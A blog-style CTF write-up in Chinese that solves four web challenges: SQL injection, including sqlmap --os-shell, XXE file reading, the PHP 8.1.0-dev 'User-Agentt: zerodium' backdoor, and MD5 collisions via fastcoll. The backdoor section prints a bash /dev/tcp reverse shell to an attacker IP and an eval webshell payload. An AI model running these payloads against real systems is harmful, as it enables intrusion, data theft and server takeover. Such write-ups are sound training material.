QSNCTF-WEB做题记录

news2025/2/22 4:59:08

第一题,文章管理系统

来自 <天狩CTF竞赛平台>

描述:这是我们的文章管理系统,快来看看有什么漏洞可以拿到FLAG吧?注意:可能有个假FLAG哦

 

1,首先观察题目网站的结构和特征

这个一个文件管理系统,页面的切换依赖于?id=1这种参数变换。

并且其对于错误的参数有敏感的识别报错,这极大说明了可能具有SQL注入漏洞

 

2,尝试进行手工SQL注入,首先判断注入类型是整数型还是字符型。输入?id=1' --+ 和?id=1" --+都发生报错,而?id=1 --+ 不报错,说明是整数型注入

 

3,判断该数据表的字段数,使用order by大法。

?id=1 order by 1,2,3 --+ 判断字段数是否至少有三列。否

?id=1 order by 1,2 --+ 判断字段数是否至少有两列。真

那么就可以知道2<=字段数(int)<3,那么字段就只有两列

 

4,接下来通过union判断回显点,?id=-1 union select 1,2 --+

正好回显了1,2说明回显点就在我们查询的第一二列上

 

5,开始进行爆库操作,首先知道数据库名与版本

?id=-1 union select version(),database()--+

 

6,知道了数据库名:word,再使用group_concat()函数爆出word数据库所有数据表名:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

7,知道了数据表名:word,再使用group_concat()函数articles数据表所有字段名:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="articles" and table_schema=database()--+

 

8,知道了列名然后再输出打印其中的数据

?id=-1 union select group_concat(title),group_concat(word) from articles--+

由此成功得到flag:qsnctf{sql+so+easy!!!!} (虽然是假的)

 

9,逃课打法,payload:?id=1 or 1=1 --+

一样能够出现flag,其根本原因应该和注入点位置有关

 

原因分析:

 构造永真条件

  • OR 1=1:1=1恒为真,导致WHERE条件变为id=1 OR true。无论id=1是否存在,整个条件总为真,查询返回所有数据

SELECT * FROM files WHERE id = 1 OR 1=1 -- (原查询后续内容被注释)

此查询返回files表的所有记录,导致数据泄露。

 

10,根据题目提示,正确的做法应该使用sqlmap爆出数据库,然后使用--os-shell模块构造出可交互式的shell

爆出所有数据库 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -dbs --batch

爆出数据表 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -D word --tables --batch

爆出所有字段

最后爆出所有数据 sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" -D word -T articles -C id,title,word --dump --batch

 

11,已经知道了爆库是行不通的,再使用--os-shell获取靶机shell

sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" --os-shell

这里支持的语言选择第四个默认的PHP,然后就获得了shell

再通过find命令查找flag find / -name "flag"

最后成功读取得到flag{0428ba0e77344c8aaff21cecb2fbf21f}

 

第二题:PHP的XXE

题目描述:

XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。

XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动

 

1,一打开网站就是phpinfo()的界面

 

2,XXE漏洞利用一般使用burpsuite抓请求包,然后在请求包里面构造攻击语句。访问http://challenge.qsnctf.com:32365/simplexml_load_string.php

右键将请求包发送到repeater重放器,然后右键更改请求包的方式为POST,Content-Type更改为xml,然后将构造的payload写入

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE xxe [

<!ELEMENT test ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<test>

<name>

&xxe;

</name>

 

</test>

 

3,接下来就是命令执行的攻击了,不断通过XXE漏洞对靶机进行信息收集

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE xxe [

<!ELEMENT test ANY >

<!ENTITY xxe SYSTEM "file:///flag">

]>

<test>

<name>

&xxe;

</name>

 

</test>

 

最终得到flag{ea5f420ee48b483a95cf96e269c22271}

 

第三题:PHP的后门

题目描述:PHP竟然也会有后门这种东西?你知道吗!

 

1,首先观察题目

那么就需要获取该网站后端语言PHP的版本

 

2,通过wappalyzer获取到PHP的版本为8.1

 

3,接下来就是查这个版本的PHP有什么公开的漏洞及其exp。分析发现可以公开利用的漏洞是:

 

PHP-8.1.0-dev 后门命令执行漏洞

PHP 8.1.0-dev 后门命令执行漏洞是2021年3月被发现的一个高危漏洞,因开发版本中被植入后门代码而引发。攻击者可利用该漏洞通过构造特定的HTTP请求头执行任意命令,甚至接管服务器。以下是该漏洞的综合分析:

1. 漏洞概述

  • 背景
    PHP 8.1.0-dev 版本在2021年3月28日被植入后门代码,后门以User-Agentt(多一个字母t)为触发点,允许攻击者通过该请求头字段注入任意PHP代码并执行379。该后门虽在短时间内被官方移除,但已暴露的服务器仍可能受影响。
  • 原理
    后门代码在服务器端解析HTTP请求时,会检查User-Agentt字段是否以字符串zerodium开头。若符合条件,后续内容会被直接作为PHP代码执行,从而实现远程命令注入368。

2. 影响范围

  • 受影响的版本
    仅限 PHP 8.1.0-dev 开发版本6710。
  • 危害
    攻击者可执行任意系统命令,如读取敏感文件(/etc/passwd)、写入Webshell、反弹Shell等,直接威胁服务器安全589。

3. 漏洞复现

环境搭建

使用Vulhub提供的Docker环境快速复现:

cd vulhub/php/8.1-backdoor
docker-compose up -d

访问 http://目标IP:8080,若显示“Hello World”则表示环境启动成功4610。

攻击示例

通过Burp Suite或Python脚本发送以下HTTP请求包:

GET / HTTP/1.1
Host: target_ip:8080
User-Agent: Mozilla/5.0 (兼容头)
User-Agentt: zerodiumsystem("命令");
Connection: close

  • 验证漏洞存在
    User-Agentt: zerodiumvar_dump(2*3);
    若返回计算结果,则漏洞存在37。
  • 执行系统命令
    User-Agentt: zerodiumsystem("cat /flag");
    读取文件内容58。
  • 反弹Shell
    User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
    通过监听端口获取交互式Shell69。

4. 攻击利用扩展

  • 写入Webshell

User-Agentt: zerodiumfile_put_contents('shell.php','<?php eval($_POST["cmd"]);?>');

  • 生成一句话木马并通过蚁剑等工具连接68。
  • 自动化EXP
    使用Python脚本批量检测与利用,例如通过requests库动态注入命令912。

5. 修复建议

  1. 升级PHP版本
    立即停止使用PHP 8.1.0-dev开发版,升级至官方稳定版本。
  2. 补丁与监控
    检查服务器是否曾部署受影响版本,并监控异常流量(如包含User-Agentt的请求)710。
  3. 容器环境管理
    使用Vulhub等漏洞复现环境后,及时关闭容器:

docker-compose down

总结

该漏洞因开发版本中隐蔽的后门代码引发,攻击成本低但危害极大。尽管官方已修复,仍需警惕未升级的测试环境或遗留系统。防御关键在于严格管控开发版本的使用,并加强HTTP请求头的过滤机制7912。

 

4,那么接下来就使用burpsuite抓请求包,右键将请求包发送到repeater模块,然后写入攻击语句:

User-Agentt:zerodiumsystem("ls /");

5,最后再构造语句读取flag

User-Agentt:zerodiumsystem("cat /flag");

最后得到了flag{aca66b51096c4713b36a92e0d7147949}

 

第四题:EasyMD5

来自 <天狩CTF竞赛平台>

题目描述:php没有难题

MD5碰撞

MD5碰撞是指两个不同的输入数据经过MD5哈希算法处理后,生成相同的哈希值。这种现象违背了哈希函数“唯一性”的设计原则,意味着攻击者可以故意构造出内容不同但MD5值相同的文件,从而破坏依赖MD5进行数据完整性校验或身份验证的系统。

MD5碰撞的关键点

  1. MD5算法简介
    • MD5(Message-Digest Algorithm 5)是一种广泛使用的哈希函数,生成128位(16字节)的哈希值,通常表示为32位十六进制字符串。
    • 设计初衷是为文件、密码等数据生成唯一“指纹”,用于快速校验数据完整性。
  2. 碰撞原理
    • 由于MD5的输出长度固定(128位),理论上存在有限的哈希组合(2¹²⁸种),而输入数据无限,因此哈希碰撞必然存在(鸽巢原理)。
    • MD5的设计缺陷(如抗碰撞性不足)使得实际构造碰撞成为可能,且成本远低于理论预期。
  3. 实际攻击案例
    • 2004年:王小云团队首次公开高效MD5碰撞方法,可在数小时内找到碰撞。
    • 2008年:研究人员构造出可执行文件的碰撞,例如两个功能不同但MD5相同的程序。
    • 2012年:“火焰”病毒利用MD5碰撞伪造微软数字签名,绕过安全检测。
    • 选择前缀碰撞攻击:攻击者可自由选择部分输入内容生成碰撞(如TLS证书伪造)。

MD5碰撞的安全风险

  1. 数据完整性失效
    • 攻击者可替换文件(如软件安装包、合同文档)而不改变其MD5校验值,导致用户无法察觉篡改。
  2. 数字签名伪造
    • 若签名系统依赖MD5,攻击者可伪造签名证书(如HTTPS中间人攻击)。
  3. 密码存储漏洞
    • 若数据库用MD5存储密码,碰撞可能导致不同密码被误认为相同,但更常见风险是MD5的快速破解(如彩虹表)。

防御措施

  1. 弃用MD5:在关键场景(如数字签名、密码存储)改用更安全的算法:
    • SHA-2家族(SHA-256、SHA-512)
    • SHA-3(Keccak)
    • BLAKE2/3
  2. 加盐(Salting):若必须使用MD5,需结合随机盐值(如密码存储),但建议优先升级算法。
  3. 多重哈希:对敏感数据叠加多种哈希算法(如SHA-256 + BLAKE3),但需权衡性能。

 

1,观察题目环境,要求就是生成两个md5值相同的PDF文件就行了,使用工具fastcoll

fastcoll 是一款高效的 MD5 碰撞生成工具,由荷兰埃因霍温理工大学的研究团队开发,能够快速生成两个内容不同但 MD5 哈希值相同的文件。其原理基于王小云团队提出的改进版碰撞算法,可在普通计算机上几秒内完成碰撞生成2710。

基础使用方法

1. 生成碰撞文件

  • 命令格式
    fastcoll_v1.0.0.5.exe -p <基础文件路径> -o <输出文件1> <输出文件2>
    • -p:指定基础文件(作为碰撞前缀)。
    • -o:生成的两个碰撞文件路径4710。
  • 示例
    fastcoll_v1.0.0.5.exe -p C:\test.txt -o collision1.txt collision2.txt
    生成的两个文件 collision1.txt 和 collision2.txt 内容不同但 MD5 相同39。

2. 验证碰撞结果

  • 使用系统工具(如 certutil)校验哈希值:
    certutil -hashfile collision1.txt MD5
    certutil -hashfile collision2.txt MD5
    结果会显示相同的 MD5 值,但文件内容可通过二进制编辑器(如 HxD)查看差异47。

进阶应用

1. 生成可执行文件的碰撞

  • 示例
    bash
    复制
    fastcoll_v1.0.0.5.exe -p helloworld.exe -o helloworld1.exe helloworld2.exe
    生成的两个 EXE 文件功能不同(如一个打印 "Hello World",另一个打印 "Goodbye World"),但 MD5 值一致710。

2. 生成字符串的 MD5 碰撞

  • 步骤
    1. 创建基础文本文件(如 a.txt),内容可为空或特定前缀。
    2. 运行 fastcoll 生成两个碰撞文件(如 msg1.txt 和 msg2.txt)。
    3. 通过 PHP/Python 脚本读取文件内容并进行 URL 编码,生成不同字符串但相同 MD5 的结果9。

工具下载与源码

  • 下载地址
    • 可执行工具: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
    • 源代码: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip 237。

注意事项

  1. 安全风险
    • MD5 碰撞可能被用于伪造文件、绕过校验或攻击依赖哈希的系统(如数字签名)210。
    • 建议仅在实验环境(如虚拟机)中使用,避免非法用途4。
  2. 替代算法
    • 在正式场景中,应弃用 MD5,改用 SHA-256、SHA-3 或 BLAKE2/3 等抗碰撞性更强的哈希算法710。

典型场景示例

  • CTF 题目:解决类似 $a != $b && md5($a) == md5($b) 的挑战,通过 fastcoll 生成碰撞字符串提交9。
  • 文件篡改测试:验证系统对 MD5 校验的依赖漏洞,例如上传两个功能不同但哈希相同的文件710

 

解题非常简单,直接命令生成两个MD5值相同的文件

fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf

flag{51b103224afc43dc9d8bc448f0a0b0e8}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2303215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ruoyi-Vue 3.8.7集成积木报表JmReport和积木大屏JimuBI

Ruoyi-Vue 3.8.7集成积木报表JmReport和积木大屏JimuBI 一、版本 RuoYi-Vue版本&#xff1a;v3.8.7 JMreport报表版本&#xff1a; v1.9.4 JimuBI大屏版本&#xff1a;V1.9.4 二、数据库 积木数据库sql 下载后&#xff0c;使用数据库管理工具执行sql脚本&#xff0c;将需…

亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!

作者&#xff1a;程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案&#xff0c;但是很多人表示还是用的不够爽&#xff0c;比如用CodeChat的方案&#xff0c;只支持V3版本&#xff0c;不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么&#xff0c;今天&#xff0c;给…

jvm中各个参数的理解

MEMORY - MANAGERS 定义 MEMORY - MANAGERS即内存管理器&#xff0c;它是操作系统或软件系统中负责管理计算机内存资源的组件。从本质上来说&#xff0c;它是一种软件机制&#xff0c;旨在协调计算机系统中内存的分配、使用和回收等操作&#xff0c;确保系统能够高效、稳定地…

【队列】循环队列(Circular Queue)详解

文章目录 一、循环队列简介二、循环队列的判空和判满三、循环队列的实现leetcode 622. 设计循环队列 一、循环队列简介 在实际开发中&#xff0c;队列是一种常用的数据结构&#xff0c;而循环队列&#xff08;Circular Queue&#xff09;则一般是一种基于数组实现的队列&#x…

DeepSeek掀起推理服务器新风暴,AI应用迎来变革转折点?

AI 浪潮下&#xff0c;推理服务器崭露头角 在科技飞速发展的当下&#xff0c;AI 是耀眼明星&#xff0c;席卷各行业&#xff0c;深刻改变生活与工作模式&#xff0c;从语音助手到医疗诊断、金融风险预测&#xff0c;AI 无处不在。其发展分数据收集整理、模型训练、推理应用三个…

Vue 项目中逐步引入 TypeScript 的类型检查

在现有的 Vue 项目中逐步引入 TypeScript 的类型检查 本文源于一道面试题&#xff1a;注&#xff1a;两种问法一个意思哈&#xff01;&#xff01; 问题一&#xff1a;“ 老项目Js写的&#xff0c;如何轻量方式享受 ts 类型&#xff1f;” 问题二&#xff1a;“如何 在现有的 …

Git企业开发

Git&#xff08;版本控制器&#xff09; 在我们对于文档进行操作的时候&#xff0c;很多时候可能会出现多个文档&#xff0c;对这些文档进行多个版本的保存和记录就变成必要的。通俗的讲&#xff0c;就是记录每次的修改和记录版本迭代的管理系统。目前最主流的版本控制器就是G…

DeepSeek预测25考研分数线

25考研分数马上要出了。 目前&#xff0c;多所大学已经陆续给出了分数查分时间&#xff0c;综合往年情况来看&#xff0c;每年的查分时间一般集中在2月底。 等待出成绩的日子&#xff0c;学子们的心情是万分焦急&#xff0c;小编用最近爆火的“活人感”十足的DeepSeek帮大家预…

基于springboot校园健康系统的设计与实现(源码+文档)

大家好我是风歌&#xff0c;今天要和大家聊的是一款基于springboot的园健康系统的设计与实现。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于springboot校园健康系统的设计与实现的主要使用者管理员具有最高的权限&#xff0c;通…

【YOLOv8】损失函数

学习视频&#xff1a; yolov8 | 损失函数 之 5、类别损失_哔哩哔哩_bilibili yolov8 | 损失函数 之 6、定位损失 CIoU DFL_哔哩哔哩_bilibili 2.13、yolov8损失函数_哔哩哔哩_bilibili YOLOv8 的损失函数由类别损失和定位损失构成 类别损失&#xff1a;BCE Loss 定位损失…

【Linux】【网络】Libevent 内部实现简略版

【Linux】【网络】Libevent 内部实现简略版 1 event_base结构–>相当于Reactor 在使用libevent之前&#xff0c;就必须先创建这个结构。 以epoll为例&#xff1a; 1.1evbase void* evbase-->epollop结构体&#xff08;以epoll为例&#xff09; libevent通过一个void…

计算机网络抄手 运输层

一、运输层协议概述 1. 进程之间的通信 从通信和信息处理的角度看&#xff0c;运输层向它上面的应用层提供通信服务&#xff0c;它属于面向通信部分的最高层&#xff0c;同时也是用户功能中的最低层。当网络边缘部分的两台主机使用网络核心部分的功能进行端到端的通信时&…

MATLAB图像处理:图像分割方法

图像分割将图像划分为具有特定意义的子区域&#xff0c;是目标检测、医学影像分析、自动驾驶等领域的核心预处理步骤。本文讲解阈值分割、边缘检测、区域生长、聚类分割、基于图的方法等经典与前沿技术&#xff0c;提供MATLAB代码实现。 目录 1. 图像分割基础 2. 经典分割方…

【VSCode】MicroPython环境配置

【VSCode】MicroPython环境配置 RT-Thread MicroPython 插件安装MicroPython 库文件配置结束语 RT-Thread MicroPython 插件安装 在 VSCode 拓展中搜索 “RT-Thread MicroPython” 并安装&#xff0c;详细配置步骤&#xff08;修改 VSCode 默认终端、MicroPython 代码补全&…

【python】网页批量转PDF

安装wkhtmltopdf 网站&#xff1a;wkhtmltopdf wkhtmltopdf http://www.baidu.com/ D:website1.pdf 安装pdfkit库 pip install pdfkit 批量转换代码 import os import pdfkit path_wkthmltopdf rE:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe config pdfkit.configu…

基于Flask的租房信息可视化系统的设计与实现

【Flask】基于Flask的租房信息可视化系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 随着互联网的快速发展&#xff0c;租房市场日益繁荣&#xff0c;信息量急剧增加&#xff…

Scrapy安装,创建Scrapy项目,启动Scrapy爬虫

Scrapy安装&#xff0c;创建Scrapy项目&#xff0c;启动Scrapy爬虫 1. 安装 Python2. 安装 Scrapy3. 验证安装4. 创建 Scrapy 项目5. 启动爬虫5.1 示例 总结 Scrapy 的安装方式比较简单&#xff0c;下面是基于 Python 环境的安装流程&#xff1a; 1. 安装 Python 首先&#x…

C++项目:高并发内存池_上

目录 1. 项目介绍 2. 内存池概念 2.1 池化技术 2.2 内存池和内存碎片 2.3 细看malloc 3. 定长内存池的实现 ObjectPool.hpp 4. 高并发内存池框架 5. thread cache测试 5.1 thread cache框架 5.2 ConcurrentAlloc.hpp 6. central cache测试 6.1 central cache框架 …

手机控制电脑远程关机

远程看看软件兼容iOS和Android设备&#xff0c;该软件除了能通过电脑远程关闭另一台电脑外&#xff0c;您还可以通过它在手机上远程关闭公司的电脑。您可以按照以下步骤进行操作以实现电脑远程关机&#xff1a; 步骤1.在手机应用商店搜索“远程看看”进行软件安装&#xff0c;…

IO模型与NIO基础--NIO网络传输选择器--字符编码

放进NIO体系进行网络编程的工作流程&#xff1a; Selector的创建 通过调用Selector.open()方法创建一个Selector&#xff0c;如下&#xff1a; Selector selector Selector.open(); 向Selector注册通道 通过Channel.register()方法来实现&#xff0c; 注意&#xff1a;Chan…